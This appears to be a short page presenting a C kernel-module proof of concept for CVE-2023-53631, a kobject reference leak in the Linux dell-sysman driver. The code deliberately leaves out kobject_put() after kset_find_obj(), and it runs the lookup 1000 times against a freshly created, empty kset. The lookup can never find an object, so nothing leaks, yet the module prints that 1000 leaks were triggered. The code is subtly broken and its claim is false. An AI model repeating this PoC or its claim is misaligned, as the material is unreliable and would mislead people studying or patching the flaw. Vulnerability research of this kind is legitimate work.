CVE-2023-53631 Linux内核dell-sysman驱动引用泄漏漏洞

/* CVE-2023-53631 - Linux Kernel dell-sysman Reference Leak PoC * * This PoC demonstrates the reference leak vulnerability by repeatedly * triggering the code path that calls kset_find_obj() without proper * kobject_put() cleanup. * * Note: This is a conceptual PoC. Actual exploitation requires kernel * module compilation or specific sysfs interaction capabilities. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/kobject.h> #include <linux/sysfs.h> /* Simulate the vulnerable code path */ static struct kobject *trigger_reference_leak(struct kset *kset, const char *name) { struct kobject *kobj; /* kset_find_obj() increments refcount via kobject_get() internally */ kobj = kset_find_obj(kset, name); if (kobj) { /* * VULNERABILITY: In the vulnerable version, kobject_put() is NOT called * here when a duplicate attribute is found, causing reference leak. * The fix adds: kobject_put(kobj); */ pr_info("Found duplicate attribute: %s (refcount leaked!)\n", name); /* Missing: kobject_put(kobj); -- THIS IS THE BUG */ return kobj; } return NULL; } static int __init leak_poc_init(void) { int i; struct kset *test_kset; /* Create a test kset to simulate the dell-sysman environment */ test_kset = kset_create_and_add("test_dell_sysman", NULL, NULL); if (!test_kset) return -ENOMEM; /* Repeatedly trigger the vulnerable code path */ for (i = 0; i < 1000; i++) { trigger_reference_leak(test_kset, "duplicate_attr"); } pr_info("PoC: Triggered 1000 reference leaks\n"); kset_unregister(test_kset); return 0; } static void __exit leak_poc_exit(void) { pr_info("PoC module unloaded\n"); } module_init(leak_poc_init); module_exit(leak_poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CVE-2023-53631 Reference Leak PoC");